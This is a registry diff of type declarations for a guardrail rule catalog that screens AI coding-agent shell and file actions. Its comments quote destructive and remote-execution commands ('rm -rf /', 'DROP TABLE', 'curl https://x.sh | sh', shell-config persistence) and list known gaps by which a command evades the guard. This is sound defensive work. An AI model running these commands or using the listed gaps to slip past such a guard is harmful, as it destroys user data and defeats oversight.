@agenttrail/guardrails 0.0.1-rc.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -0,0 +1,374 @@
1
+ import { MatchCondition, Fixture, Rule } from './schema.cjs';
2
+ export { Action, FixtureInput, Fixtures, Match, RuleInput, Severity } from './schema.cjs';
3
+ import 'zod';
4
+
5
+ /**
6
+ * The eight packs, and the order they are presented in.
7
+ *
8
+ * These ids are authoritative and shared with the rules authored against them,
9
+ * and with the guard's `config.json` `enabledPacks` (spec 11). An earlier design
10
+ * named ten differently-titled packs; the two could not both have been right.
11
+ * Renaming one of these is a breaking change to a user's config file, not a
12
+ * tidy-up — `safety-bypass` was `guardrail-bypass` until the rename, and that move
13
+ * was only free because nothing was published yet.
14
+ *
15
+ * Working-tree destruction leads deliberately. Destructive git commands are the
16
+ * most frequently documented real-world coding-agent failure, with filed
17
+ * incidents across Claude Code, Gemini CLI and Codex — while our own real-trace
18
+ * mining found production destructive-SQL at zero.
19
+ *
20
+ * The per-pack counts in spec 7.1 are a budget, not a quota: trim or extend at
21
+ * authoring time. They are deliberately NOT encoded here, because a rule count
22
+ * asserted in code becomes a reason to write a weak rule to hit a number.
23
+ */
24
+ declare const PACKS: readonly ["working-tree", "destructive-data", "prod-infra", "secret-exposure", "rce-supply-chain", "safety-bypass", "privilege-supply-chain", "file-scope"];
25
+ /** One of the eight pack ids. A rule's `category` is always one of these. */
26
+ type Pack = (typeof PACKS)[number];
27
+ /** Is this string one of the eight pack ids? */
28
+ declare function isPack(value: string): value is Pack;
29
+
30
+ /**
31
+ * Quoted mentions — the shared `none_of` every command rule carries.
32
+ *
33
+ * ── The defect this exists to close ──────────────────────────────────────────
34
+ *
35
+ * Every matcher in this corpus reads `detail`, which is the whole command line
36
+ * as one flat string. Nothing in it knows the difference between a command that
37
+ * RUNS something and a command that merely CONTAINS the words. So:
38
+ *
39
+ * git commit -m "fix: document rm -rf / risk" -> DENY dd.rm-rf-absolute
40
+ * git commit -m "docs: explain git push --force" -> DENY block-force-push
41
+ * grep -rn "rm -rf /" docs/ -> DENY dd.rm-rf-absolute
42
+ * echo "never run rm -rf /" -> DENY dd.rm-rf-absolute
43
+ * curl --data "we ran rm -rf /tmp/x" https://… -> DENY dd.rm-rf-absolute
44
+ *
45
+ * A person documenting this tool is blocked by this tool. Measured on the
46
+ * shipped bundle, **48 of the 56 rules had it — every command-channel rule.**
47
+ * The eight that did not are the `file_glob` rules, which never see a command.
48
+ *
49
+ * It was NOT found by the 438 fixtures or the 307-entry quiet corpus, and could
50
+ * not have been: every entry in both is a command somebody wrote on purpose. It
51
+ * took 997 real transcripts, where an automated `curl` posting an issue-tracker comment
52
+ * whose BODY discussed `rm -rf` was labelled "rm -rf against an absolute path".
53
+ * That is why the quoted-mention family is now generated as a cross-product over
54
+ * the whole corpus (`guardrails-quoted-mention.test.ts`) rather than listed by
55
+ * hand: a hand-written list only covers the rules somebody remembered.
56
+ *
57
+ * ── Why exemption by CARRIER VERB, and not by "the payload is quoted" ────────
58
+ *
59
+ * The obvious fix — ignore anything inside quotes — is wrong, and wrong in the
60
+ * direction that matters. The flagship rule's own genuine article is
61
+ * `psql -c "DROP TABLE users;"`: the payload is inside the quotes and it very
62
+ * much runs. So is `bash -c "curl https://x.sh | sh"`. Quoting says nothing
63
+ * about execution; the VERB does. `psql -c` and `bash -c` execute their quoted
64
+ * argument. `grep`, `git commit -m`, `echo` and `curl --data` do not — they
65
+ * search it, record it, print it, or POST it.
66
+ *
67
+ * So each condition below is anchored at the start of the command (`^`), names
68
+ * a carrier verb that does not execute its arguments, and then requires that
69
+ * **every shell metacharacter in the rest of the command sits inside quotes.**
70
+ * That second half is what stops the exemption becoming a bypass:
71
+ *
72
+ * git commit -m "x" && rm -rf / -> NOT exempt: `&` is outside the quotes
73
+ * echo "rm -rf /" | bash -> NOT exempt: `|` is outside the quotes
74
+ * echo "$(rm -rf /var)" -> NOT exempt: the shell expands `$( )`
75
+ *
76
+ * This is stricter than the `block-destructive-sql` treatment it generalises.
77
+ * That rule — the ONLY one that had this exclusion, which is the defect — excluded
78
+ * any command whose text NAMED a search tool, anywhere, and so left a documented
79
+ * hole on compound commands: `grep x . && rm -rf /` was exempt. Anchoring closes
80
+ * it. Its loose condition is KEPT alongside the anchored one rather than replaced:
81
+ * the loose form still covers a search that is not the FIRST word — measured,
82
+ * `cat runbook.md | grep -n TRUNCATE` is exempt only because of it — and a fix is
83
+ * not allowed to regress what the rule already allowed. The other four rules with a pre-existing `none_of`
84
+ * (`se.env-print`, `require-approval-rm-rf`, `wt.clean-fdx`, `wt.restore-path`)
85
+ * exclude something else entirely — a dry run, a build directory, `--staged` —
86
+ * and are likewise appended to, never replaced.
87
+ *
88
+ * ── The character classes, and why each character is in them ─────────────────
89
+ *
90
+ * Outside quotes a carrier may contain anything except:
91
+ * `"` `'` — a quote would end the run and start an unmatched one
92
+ * `;` `&` — start a second command (`git commit -m x ; rm -rf /`)
93
+ * `` ` `` — command substitution
94
+ * `$` — command substitution; `$(` is the dangerous half, and a bare
95
+ * `$VAR` outside quotes is excluded with it because separating the
96
+ * two outside a quoted run buys nothing
97
+ * `<` `>` — redirection, including the `>> ~/.zshrc` persistence shape and
98
+ * the `>> known_hosts` bypass shape two rules match on
99
+ * `(` `)` — subshell
100
+ *
101
+ * `|` is the one metacharacter treated per carrier. After `grep`, `git log` or
102
+ * `curl` the pipe consumes that command's OUTPUT — matched lines, history text,
103
+ * an HTTP response — none of which is the quoted payload, and `grep x . | head`
104
+ * is far too ordinary to deny. After `echo` or `printf` the pipe consumes the
105
+ * payload ITSELF: `echo "rm -rf /" | bash` executes it, and `echo "…" | crontab`
106
+ * is `ps.persistence`'s own trigger. So `PRINT_MENTION` forbids `|` and the
107
+ * other three allow it in the trailing position only.
108
+ *
109
+ * Inside a double-quoted run the shell still expands, so `` ` `` and `$(` are
110
+ * excluded there too; a bare `$VAR` is allowed, because a real command
111
+ * (`curl -H "Authorization: Bearer $TOKEN" -d '…'`) is otherwise never exempt.
112
+ * A single-quoted run may contain anything: POSIX single quotes suppress every
113
+ * expansion.
114
+ *
115
+ * ── Honest coverage limits ──────────────────────────────────────────────────
116
+ *
117
+ * - The carrier must be the first word, apart from a single leading `sudo`, which
118
+ * is tolerated because it changes privilege rather than semantics — `sudo grep`
119
+ * still searches, and no rule triggers on it (`ps.sudo-write` fires on
120
+ * `sudo tee|dd|cp|mv|rm|ln|install|chown|chmod|sh`, none of them a carrier).
121
+ * A RUNNER prefix is not tolerated: `pnpm exec rg …`, `npx …` and
122
+ * `xargs -0 grep …` are not exempt, because "some program eventually execs a
123
+ * search" is a much weaker claim than "this command is a search".
124
+ * - At most four quoted arguments are recognised. A fifth is not exempt.
125
+ * - A carrier that can be made to EXEC through a flag is still exempt.
126
+ * `ack --pager='…'` and `rg --pre <cmd>` run a program; nothing here reads
127
+ * flags, so a dangerous string in one of those positions is treated as a
128
+ * mention. This is the same class the README already names ("nothing a wrapper
129
+ * hides"), and it is not closed here: doing so needs an argv the evaluator does
130
+ * not have, and a flag DENY-list would be a new thing to keep current.
131
+ * - `-d "$(cat body.json)"` is not exempt: the substitution runs.
132
+ * - A double-quoted payload containing an unescaped `"` ends the run early.
133
+ * - Only the shell channel. An MCP tool whose serialized input carries the same
134
+ * text (`{"body":"… rm -rf / …"}`) does not start with a carrier verb and is
135
+ * NOT exempt. That is the same defect on a different channel and it is not
136
+ * fixed here — exempting a JSON blob would exempt a shell-running MCP server
137
+ * with it.
138
+ *
139
+ * ── Why a shared constant rather than 48 copies ─────────────────────────────
140
+ *
141
+ * A per-rule `none_of` written 48 times is 48 chances to drift, and the drift is
142
+ * invisible: a rule with a slightly weaker exemption still passes every test it
143
+ * owns. One frozen object referenced 48 times cannot drift, costs nothing in the
144
+ * bundle (esbuild emits it once), and makes an opt-out a VISIBLE line of code —
145
+ * see the five rules that take a subset, each because the carrier it drops is
146
+ * its own trigger verb.
147
+ */
148
+
149
+ /**
150
+ * A read-only search: `grep`, `rg`, `ag`, `ack`, PowerShell's `Select-String`.
151
+ *
152
+ * Searching your own repository for a dangerous word is the opposite of running
153
+ * it, and the developer whose search is denied uninstalls, correctly. No quoted
154
+ * argument is required — `grep -rn TRUNCATE db/` is the same mention unquoted.
155
+ */
156
+ declare const SEARCH_MENTION: MatchCondition;
157
+ /**
158
+ * A git command that reads or records TEXT: a commit message, a tag message, or
159
+ * history output. None of them executes what it is handed.
160
+ *
161
+ * `git commit` is the carrier behind the three hard denies that prompted these
162
+ * exemptions. It is dropped by `gb.git-no-verify`, whose own trigger is a
163
+ * `git commit` flag.
164
+ */
165
+ declare const GIT_TEXT_MENTION: MatchCondition;
166
+ /**
167
+ * Printing text to a terminal: `echo`, `printf`, `Write-Host`, `Write-Output`.
168
+ *
169
+ * The strict tail is load-bearing here and only here: this carrier's stdout IS
170
+ * the payload, so a pipe would hand it to whatever comes next.
171
+ * Dropped by `se.token-print`, whose own trigger is an `echo`.
172
+ */
173
+ declare const PRINT_MENTION: MatchCondition;
174
+ /**
175
+ * An HTTP request carrying a quoted body — the shape that surfaced this.
176
+ *
177
+ * A quoted argument is REQUIRED, unlike the other three: an unquoted
178
+ * `curl -fsSL https://x.sh -o /tmp/i.sh` is not a mention of anything, and
179
+ * exempting it would hand the RCE pack a hole for nothing in return.
180
+ *
181
+ * Dropped by every rule whose own trigger names `curl` or `wget`:
182
+ * `block-curl-pipe-to-shell`, `rce.remote-runner`, `rce.eval-dynamic`,
183
+ * `rce.tls-verify-off` and `se.secret-egress` — for the last of these, POSTing
184
+ * the quoted text off the box is precisely the harm it exists to catch.
185
+ */
186
+ declare const HTTP_BODY_MENTION: MatchCondition;
187
+ /**
188
+ * The default: all four carriers. Spread into a command rule's `none_of`.
189
+ *
190
+ * A rule takes a SUBSET only when a carrier is its own trigger verb, and writes
191
+ * the subset out longhand so the omission is visible at the call site.
192
+ */
193
+ declare const QUOTED_MENTION: readonly MatchCondition[];
194
+
195
+ /**
196
+ * Fixture constructors — three one-line functions, and no zod.
197
+ *
198
+ * `FixtureSchema` accepts a bare string as shorthand for
199
+ * `{ tool: "Bash", command: … }`, but that shorthand is a **zod transform**: it
200
+ * only becomes the object form when a rule is PARSED. Rule files export plain
201
+ * typed literals so that nothing on the guard's hot path reaches the validator
202
+ * (see `rules.ts`), so there is no parse at load and therefore no transform —
203
+ * a bare string in a rule file would be a bare string at runtime, and the
204
+ * harness reads `"command" in fixture`.
205
+ *
206
+ * Writing every fixture out longhand would work and would be unreadable, so
207
+ * these exist instead. They are also more honest than the shorthand was: the
208
+ * CHANNEL is now visible at every single fixture, and the channel is the thing
209
+ * that silently makes a fixture vacuous — a `file_glob` rule handed a command
210
+ * fixture matches nothing, and an `allow` fixture that matches nothing passes.
211
+ */
212
+
213
+ /** A fixture on the command channel, from the `Bash` tool. */
214
+ declare function bash(command: string): Fixture;
215
+ /**
216
+ * A fixture on the command channel, from the `PowerShell` tool.
217
+ *
218
+ * Worth spelling out at least once per shell rule: on Windows without Git Bash,
219
+ * Claude Code does not register `Bash` at all, so a rule proven only against
220
+ * `Bash` is proven on one platform.
221
+ */
222
+ declare function pwsh(command: string): Fixture;
223
+ /**
224
+ * A fixture on the file channel.
225
+ *
226
+ * `tool` defaults to `Edit`. The guard's mapper routes `Edit`, `Write`, `Read`,
227
+ * `MultiEdit` and `NotebookEdit` to this channel, and file rules deliberately
228
+ * carry no `label`, so which of them a fixture names does not change the answer —
229
+ * it only documents the case being proven.
230
+ */
231
+ declare function file(filePath: string, tool?: string): Fixture;
232
+ /** `git commit -m "…"` — the carrier behind the three hard denies. */
233
+ declare function mentionInCommit(text: string): Fixture;
234
+ /** `grep -rn "…" docs/` — searching for the words is not executing them. */
235
+ declare function mentionInSearch(text: string): Fixture;
236
+ /** `echo "…"` — printing the words is not executing them either. */
237
+ declare function mentionInEcho(text: string): Fixture;
238
+ /**
239
+ * `curl --data "…" https://…` — the shape that prompted these exemptions. An
240
+ * agent posting a comment whose BODY discussed `rm -rf` was reported as an
241
+ * `rm -rf` against an absolute path.
242
+ */
243
+ declare function mentionInPost(text: string): Fixture;
244
+ /**
245
+ * All four near misses for one payload: a commit message, a search, an echo and
246
+ * an HTTP body. Spread into a rule's `allow` fixtures.
247
+ *
248
+ * A rule whose own trigger verb IS one of the carriers writes the other three
249
+ * out longhand instead — see `exemptions.ts` for the five that do.
250
+ */
251
+ declare function mentions(text: string): Fixture[];
252
+
253
+ /**
254
+ * The catalog's own version and publication date.
255
+ *
256
+ * These are the two facts the offline guard needs in order to tell someone how old
257
+ * their protection is. The guard has no update check and no network path for rules
258
+ * (spec 8.4), so a user's rules are frozen on the day they installed and nothing
259
+ * else in the system can tell them that.
260
+ *
261
+ * ── Why the stamp lives HERE and not in `@agenttrail/guard` ──────────────────
262
+ * The guard BUNDLES this package at build time (spec 11.1.1), so it is *this*
263
+ * package's version that determines which rules a user is actually running. The
264
+ * guard's own version answers a different question and would be the wrong number:
265
+ * `guard@0.4.1` may ship an unchanged catalog, and two different guard versions may
266
+ * carry the same rules. Spec 11.1.1 states it outright — "that is exactly why C6
267
+ * has `status` print the bundled catalog version rather than the guard's."
268
+ *
269
+ * ── This module imports nothing, and that is load-bearing ───────────────────
270
+ * It is exported from `rules.ts`, the zod-free entry `packages/guard` bundles into the
271
+ * file Claude Code runs before every tool call. Two string constants add nothing to
272
+ * that bundle; an import of `schema.ts` here would add zod to it. Add no imports here.
273
+ *
274
+ * ── Both constants are hand-written, and that is deliberate ──────────────────
275
+ * A build-time `define` would reach `dist/` only. In this monorepo the guard resolves
276
+ * `@agenttrail/guardrails` to `src/index.ts`, so a defined value would exist in the
277
+ * published tarball and be absent everywhere a test can see it — the shipped value
278
+ * would be the one value never exercised. `guard/src/core/version.ts` sets the same
279
+ * precedent, and `__tests__/stamp.test.ts` pins `CATALOG_VERSION` to `package.json`
280
+ * so the two cannot drift in silence.
281
+ *
282
+ * ── AT RELEASE, BUMP BOTH CONSTANTS BELOW, TOGETHER ──────────────────────────
283
+ * Bumping `package.json`'s version alone turns `stamp.test.ts` red, and that is the
284
+ * point: it is what brings whoever cut the release into this file, where the date is
285
+ * a few lines away. Publish order is `guardrails` first, then `guard` (spec 11.1.1);
286
+ * a guard release carries whatever stamp was here when it was built.
287
+ *
288
+ * Forgetting to advance the date understates how fresh the rules are, which tells a
289
+ * user to update when they need not. Forgetting in the other direction would tell a
290
+ * user they are current when they are stale. The first is the safe failure and the
291
+ * one this arrangement produces.
292
+ */
293
+ /**
294
+ * The corpus version.
295
+ *
296
+ * Pinned to `package.json`'s `version` by `__tests__/stamp.test.ts` — this is a copy
297
+ * of that value, not an independent one, and the test is what makes the copy safe.
298
+ */
299
+ declare const CATALOG_VERSION = "0.0.1-rc.1";
300
+ /**
301
+ * When this catalog version was cut, as an ISO-8601 instant.
302
+ *
303
+ * For a version published to npm this is its publish date. For a pre-release cut from
304
+ * the monorepo it is the commit that brought the corpus to this state — here,
305
+ * `252c2e2c` ("feat(guardrails): rule schema, pack registry and fixture harness"),
306
+ * which created the package at `0.0.1`. Both readings answer the user's actual
307
+ * question, which is not "when did this reach a registry" but "how old are the rules
308
+ * I am running".
309
+ *
310
+ * It is a real, sourced instant rather than a plausible-looking default. If a future
311
+ * release cannot source one, leave it absent rather than approximate: the renderer in
312
+ * `guard/src/core/catalog-stamp.ts` degrades honestly, and a wrong date that looks
313
+ * right is worse than a missing one in a tool whose whole proposition is candour
314
+ * about its own coverage.
315
+ */
316
+ declare const CATALOG_PUBLISHED_AT = "2026-09-07T12:44:09Z";
317
+
318
+ /**
319
+ * The corpus itself — rules only, and **deliberately free of zod**.
320
+ *
321
+ * ── Why this is a separate entry point from `index.ts` ───────────────────────
322
+ *
323
+ * `packages/guard` bundles this catalog into `plugin/scripts/guard-hook.mjs`, the
324
+ * file Claude Code executes before EVERY tool call, in a fresh Node process, under
325
+ * a 10s ceiling. `built-artifact.test.ts` asserts that bundle contains no
326
+ * `ZodError` and no `ZodType`, captioned "the whole point of not importing
327
+ * ./context" — because the guard "cannot afford to parse a validator it never
328
+ * calls" (`guard/src/core/normalize.ts`).
329
+ *
330
+ * The package ROOT cannot satisfy that: `index.ts` re-exports `./schema.js`, which
331
+ * value-imports zod. So the guard imports `@agenttrail/guardrails/guardrails` — this
332
+ * file — whose whole import graph is `./packs.js`, `./exemptions.js` and
333
+ * `./fixtures.js` (all three plain data) plus a TYPE-only
334
+ * reference to `./schema.js`, which esbuild erases. Everyone else keeps using the
335
+ * root and gets the schema with it.
336
+ *
337
+ * Measured on this machine, best-of-N cold `node`: an empty process is 20ms; a cold
338
+ * import of the package root, validating 56 rules through `defineRule`, is 40ms.
339
+ * The subpath gives that 20ms back on every tool call, forever.
340
+ *
341
+ * ── Where validation went ───────────────────────────────────────────────────
342
+ *
343
+ * This package used to validate at module load via `defineRule()`, on the stated
344
+ * reasoning that "an authoring mistake fails at import — which is to say, at TEST
345
+ * TIME."
346
+ * A test IS test time: `__tests__/corpus.test.ts` runs `parseRule()` over all 56
347
+ * and fails on any invalid one, and proves that sweep bites with a deliberately
348
+ * malformed rule. The guarantee is unchanged; only the mechanism moved off the
349
+ * hook's hot path. `defineRule` stays exported for contributors authoring locally.
350
+ *
351
+ * So every rule file exports a plain object literal typed `satisfies Rule` with a
352
+ * TYPE-only schema import. `corpus.test.ts` is what stops one from drifting.
353
+ */
354
+
355
+ /**
356
+ * Every pack's rules, keyed by pack id.
357
+ *
358
+ * `Record<Pack, …>` is doing real work: adding a pack to `PACKS` without wiring
359
+ * its rules here is a compile error, not a pack that silently ships empty.
360
+ */
361
+ declare const RULES_BY_PACK: Record<Pack, readonly Rule[]>;
362
+ /**
363
+ * The whole catalog, in pack order.
364
+ *
365
+ * Built from `PACKS` rather than by concatenating the imports, so the order is
366
+ * the declared one and a pack cannot be omitted by a missed line.
367
+ */
368
+ declare const RULES: readonly Rule[];
369
+ /** Look up one rule by id. `undefined` when nothing matches. */
370
+ declare function getRule(id: string): Rule | undefined;
371
+ /** Every rule in one pack, in authored order. */
372
+ declare function rulesForPack(pack: Pack): readonly Rule[];
373
+
374
+ export { CATALOG_PUBLISHED_AT, CATALOG_VERSION, Fixture, GIT_TEXT_MENTION, HTTP_BODY_MENTION, MatchCondition, PACKS, PRINT_MENTION, type Pack, QUOTED_MENTION, RULES, RULES_BY_PACK, Rule, SEARCH_MENTION, bash, file, getRule, isPack, mentionInCommit, mentionInEcho, mentionInPost, mentionInSearch, mentions, pwsh, rulesForPack };